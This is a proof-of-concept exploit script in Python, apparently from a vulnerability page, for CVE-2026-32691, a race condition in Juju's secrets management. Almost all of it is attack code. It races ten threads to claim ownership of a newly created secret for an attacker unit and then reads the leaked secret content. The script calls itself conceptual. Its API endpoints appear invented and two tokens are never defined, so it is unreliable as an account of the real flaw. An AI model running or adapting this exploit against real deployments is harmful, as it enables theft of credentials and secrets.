CVE-2026-32691: Juju secrets管理子系统竞态条件漏洞

# CVE-2026-32691 PoC - Juju Secrets Race Condition # This PoC demonstrates the race condition in Juju secrets management # Note: This is a conceptual PoC based on the vulnerability description import time import threading import requests # Configuration JUJU_CONTROLLER = "https://juju-controller:8443" ATTACKER_UNIT = "unit-attacker/0" TARGET_SECRET_ID = None def create_secret_and_claim(): """ Legitimate unit creates a secret, attacker tries to claim ownership during the race window between ID generation and first revision creation. """ global TARGET_SECRET_ID # Step 1: Legitimate unit initiates secret creation response = requests.post( f"{JUJU_CONTROLLER}/secrets", headers={"Authorization": f"Bearer {LEGITIMATE_TOKEN}"}, json={"data": {"password": "super-secret-123"}} ) if response.status_code == 200: TARGET_SECRET_ID = response.json()["ID"] print(f"[+] Secret created with ID: {TARGET_SECRET_ID}") # Vulnerability window: Secret exists but not yet committed # Attacker can claim ownership here return TARGET_SECRET_ID return None def attacker_claim_secret(secret_id): """ Attacker attempts to claim ownership of the secret during race window. """ print(f"[*] Attacker attempting to claim secret: {secret_id}") response = requests.put( f"{JUJU_CONTROLLER}/secrets/{secret_id}/claim", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"}, json={"owner": ATTACKER_UNIT} ) if response.status_code == 200: print(f"[+] SUCCESS: Secret {secret_id} claimed by attacker!") return True else: print(f"[-] Failed to claim secret: {response.status_code}") return False def read_secret_content(secret_id): """ After claiming, attacker can read the secret content. """ response = requests.get( f"{JUJU_CONTROLLER}/secrets/{secret_id}/content", headers={"Authorization": f"Bearer {ATTACKER_TOKEN}"} ) if response.status_code == 200: print(f"[+] Secret content leaked: {response.json()}") return response.json() return None def exploit_race_condition(): """ Main exploitation function that triggers the race condition. """ secret_id = create_secret_and_claim() if secret_id: # Launch multiple claim attempts during the vulnerability window threads = [] for i in range(10): t = threading.Thread(target=attacker_claim_secret, args=(secret_id,)) threads.append(t) t.start() time.sleep(0.001) # Small delay to increase race window exposure for t in threads: t.join() # Attempt to read secret content read_secret_content(secret_id) if __name__ == "__main__": print("CVE-2026-32691 PoC - Juju Secrets Race Condition") print("=" * 50) exploit_race_condition()